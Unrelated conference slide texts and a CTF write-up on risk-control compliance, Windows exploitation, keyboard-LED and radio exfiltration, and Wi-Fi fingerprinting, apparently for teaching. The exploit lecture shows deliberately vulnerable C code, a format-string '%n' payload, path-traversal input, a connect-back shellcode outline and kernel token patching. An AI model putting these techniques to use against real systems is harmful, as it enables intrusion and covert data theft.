用户画像 生物特征模型 AI对抗+干扰+模型+终端风控 基底+画像 04合规挑战 适应与应对 安全 合规 数据安全 隐私合规 敏感数据 合法采集 系统限制 最小采集 去标识化 合规流程 算法优化 主被结合 联防联控 自适应性 风险 对抗 最小 采集 冷热 并用 去标 识化 主被 结合 终端 风控 跟随宿主权限最小化采集 不要求敏感权限GPS定位手机状态 不依赖敏感


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Windows_Kernel_Shellcode _Exploit chrO.ot Nanika Summary  What is Exploit  Windows_Shellcode  Windows_Kernel_shellcode  CreateRemoteThread backdoor byshell  Exploit Demo  0day_exploit What is Exploit  Buffer overflow  Heap overflow  Format string  CGI or SQL inject Buffer overflow STACK ---------------- Local Variables ESP Buffer ---------------- EBP-> Old Value of EBP ---------------- Return Address ---------------- void func(void) { char buffer[256]; // * for(i=0;i<512;i++) buffer[i]='A'; // ! return; } Heap overflow  mov [ecx], eax  mov [eax+4], ecx buf1 = HeapAlloc(hHeap, 0, 32); strcpy(buf1,mybuf); buf2 = HeapAlloc(hHeap, 0, 32); HeapFree(hHeap, 0, buf1); HeapFree(hHeap, 0, buf2); Format string int main(int argc, char *argv[]) { char buffer[512]=""; strncpy(buffer,argv[ 1],500); printf(buffer); return 0; } printf %.123456x%.123456x%n CGI or SQL inject  ../../../../../../  !@#$%&*()  http://127.0.0.1/a.asp?s=xxxxx Windows_Shellcode  bind shellcode  connect back shellcode bind shellcode  編碼  Kernel 基址定位  API函數address定位  Create Shell  WinSocket  產生TCP協議參數為押入堆疊6,1,2  Bind;綁定一個Port來做通訊  Listen;等對方連結  Accept;連結成功  Send;發送  Recv;接收 connect back shellcode  db "WSAStartup",0;edi-14h  db "socket",0;edi-10h  db "connect",0;edi-ch  db "send",0;edi-8  db "recv",0;edi-4 Windows_Kernel_shellcode  patch EPROCESS Token  APC inject  Kernel Memery  Kernel struct  IRQL  Patch EPROCESS Token  APC_Inject Kernel Memery Kernel struct  EPROCESS  KPROCESS  ETHREAD  KTHREAD  HANDLE TABLE dt nt!_EPROCESS dt nt!_KPROCESS dt nt!_ETHREAD dt nt!_KTHREAD dt nt!_HANDLE_TABLE IRQL High Power Fail Inter-processor Interrupt Clock Dispatch/DPC Device n Device 1 APC Passive ... 31 30 29 28 0 1 2 Hardware Interrupts Software Interrupts Normal Thread Execution IRQL = Interrupt Request Level (0 to 31) IRQL = Interrupt Request Level (0 to 31) Patch EPROCESS Token +0x000 Pcb : _KPROCESS +0x084 UniqueProcessId : Ptr32 Void +0x088 ActiveProcessLinks : _LIST_ENTRY +0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE +0


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# Gh0st in the machine (forensic,60p) > mY CoMputEr IS ActIng uP. cAn yOu heLP mE? > Flag format: BITS(WORDS.IN.CAPS) In this task we were given a pcap containing two minutes worth of keyboard USB capture. Apart from the actual keystrokes (which turned out to spell link to Rick Roll video...), there were some packets going from the host to the keyboard. They contained only a single byte, alternating 0x01 and 0x03. As we soon found out, these bits correspond to keyboard state, and the changing bit meant Caps Lock status. This was consistent with challenge description, which had some problems with letter case. We rememembered a recent article about exfiltration of data using those LEDs and thought this could be used here as well. so we wrote a quick script (parse3.py), calculating a difference between times the Caps Lock is turned on and off. They seemed to follow a certain pattern, and we soon thought it could be Morse code. We treated 300ms or longer pulses as dash and shorter as a dot, and using online morse converter gave us something close enough to flag (we had to guess two characters).


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Revolting Radios Get it? Its a pun! Thanks Mike Walters Ang Cui Schuyler St. Leger Taylor Streetman Sergey Bratus Travis Goodspeed A little background One of the things that makes Orwell's '1984' scary is the way it uses technology. In Orwells dystopia, tech is a one-sided means of control. The powers that be use machines for pervasive surveillance, to weaken your sense of self and to make real change feel impossible. Humans deprived of any private space are uniquely vulnerable, and Big Brother knows it. - DEF CON 26 theme Lets over-commit to that theme. - Mike & Dominic Who are we? Michael Ossmann Founder and CEO of Great Scott Gadgets Dominic Spill Security Researcher at Great Scott Gadgets Breadboard SDR Scenario Weve found that we can reprogram one of Big Brothers telescreens and stream samples from the auxiliary Analog to Digital Converter (ADC) in its microcontroller. Can we build a radio receiver out of this microcontroller? Breadboard SDR When you build a radio in software, you dont need much hardware Clock Signal Transmitters Scenario We need to exfiltrate data from one of Big Brothers air-gapped networks. We have an ally but no radio transmitter inside. Can our ally reprogram a microcontroller on the inside to transmit data over the air? Toggling IO Pins Mieks OOK transmitter https://gfycat.com/gifs/detail/cloudyinfamouscapybara Ang Cuis Funtenna http://www.funtenna.org/CuiBH2015.pdf Raspberry Pi FM https://github.com/PNPtutorials/FM_Transmitter_RPi3 GreatFET One PLL Transmitter Real World Radios Our demonstration target used a frequency deviation of +/-25 kHz and a center frequency of 315.005 MHz. We transmitted with a frequency deviation of +/-50 kHz at a center frequency of 315.050 MHz, and it worked! If it oscillates like a radio and emits like a radio Its a radio GPIO Pin Receiver Scenario Big Brother has updated telescreens to a new version without an Analog to Digital Converter (ADC) and has restricted distribution of ADCs in an effort to prevent im


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I Know What You Are By the Smell of Your Wi-Fi Denton Gentry @dgentry denny@geekhold.com Were here today to talk about a mechanism which identifies the type of device connecting to a Wi-Fi network. It can be quite specific: it can tell the difference between an iPhone 5 and an iPhone 5s, between a Samsung Galaxy S7 and an S8, between a Withings scale and a Nest Thermostat. Classically, this kind of client detection would be called fingerprinting like the OS fingerprinting mechanisms in nmap. However, in modern usage the term fingerprinting has evolved to mean identification of specific users, such as browser fingerprinting to identify a specific individual. As the mechanism discussed here identifies the species of the device, not the unique individual, we refer to it as Wi-Fi Taxonomy. 0:50 Try It! 1% 10% Poll: Wi-Fi at DEFCON for a demo 89% bad idea. worst idea. what could go wrong? SSID: SmellOfWifiTalk You can try it! Joining SmellOfWifiTalk will print the systems estimation of what your device is, for however long a rogue Wi-Fi network lasts at DEFCON. It will be printed in that terminal window up on the screen. 0:30 MAC Sublayer Management Entity (MLME) Probe Request: Asks nearby APs to respond. Association Request: join the Wi-Fi network Probe Request Association Request Probe Response Association Response Try It! SSID: SmellOfWifiTalk The mechanism works by examining Wi-Fi Management frames, called MLME frames. These frames are used to join, leave, and configure the Wi-Fi network. They are not TCP/IP packets, they are not routable and they do not leave the Wi-Fi network. Well focus on two specific frames: 1. Probe Request, where a client can ask all nearby APs or one specific AP to respond. The client includes information about itself and its capabilities in the request, and the AP can respond with its own capabilities in the response. 2. Well also look at the Association Request, when a client joins a Wi-Fi network. The client includes many of the same capab